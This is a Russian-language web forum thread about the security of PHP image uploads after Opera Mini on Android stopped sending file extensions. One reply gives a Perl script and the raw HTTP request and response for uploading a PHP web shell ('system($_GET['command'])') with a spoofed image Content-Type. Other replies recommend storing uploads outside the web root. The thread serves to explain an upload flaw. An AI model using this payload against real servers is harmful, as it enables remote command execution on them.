(18 сен 2015, 23:08) (
0/
0)
[
0]
Hatsune Miku,
Тоже не вариант. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных.
Единственные 2 варианта, которые меня совершенно удовлетворили своей безопасностью:
1. Хранить файл за корнем и не показывать оригинальное имя файла
2. Хранить файлы на другом сервере, на котором не работает PHP.
(18 сен 2015, 22:23) (
0/
0)
[
0]
Hatsune Miku,
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new;;
$res = $ua->request(POST 'http://localhost/upload.php' , Content_Type => 'form-data' , Content => [userfile => [ "shell.php" , "shell.php" , "Content-Type" =>"image/gif" ],],);
print $res->as_string();
И вот что получится.
Запрос:
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY—
Ответ:
HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
В итоге, наш upload.pl подделывает заголовок Content-Type, заставляя сервер принять файл.
(18 сен 2015, 21:51) (
0/
0)
[
0]
KoTe,
Зайди в Play Маркет > Приложения > Установленные
Найди свою Opera Mini и рядом с ней будет кнопка "обновить" - обнови и начнуться проблемы.
(18 сен 2015, 21:41) (
0/
0)
[
0]
Кидорас,
Его ведь подменить можно при помощи плагина для Firefox - Temper Data под FF
(18 сен 2015, 19:37) (
0/
0)
[
0]
Gallardo,
Обоснуй, что вышеописанное - глупости.
Я просто хочу сохранить пользователей использующих Opera Mini, т.к это один браузер, который способен работать при очень медленном соединении.
(18 сен 2015, 19:28) (
0/
0)
[
0]
Gallardo,
Если выгрузят архив то, <img> ничего не выведет, т.к в файле с расширением JPG будет содержаться некорректный код.
(18 сен 2015, 17:35) (
1/
0)
[
1]
Большинство пользователей AndroidOS заметили, что через Opera Mini не получается выгрузить файлы в интернет.
Я провел небольшое расследование и выяснил, что это произошло из-за замены file:// на content://
Разница:
Обратите внимание, что в новом способе не передается расширение файла, а т.к мы программисты, то мы знаем что перед сохранением файла на сервер необходимо проверить его расширение, а т.к расширения нет, то происходит ошибка.
Я тут подумал, что фотографии это самый загружаемый контент в интернете и не хотелось бы пользователей Opera Mini ограничивать этой возможностью, поэтому решил не проверять расширение файла, а записывать в определеное, например в JPG, перед сохранением на сервер. Конечно перед этим я провел небольшой тест по безопасности: сохранил PHP код во всех известных расширениях изображений. Тест показал положительный результат - PHP код не функционировал.
Но я задался таким вопросом: либо большинство программистов тупые, что проверяют расширение при сохранение изображения на сервер, либо я не знаю способ "превращения изображения в интерпретатор для PHP"?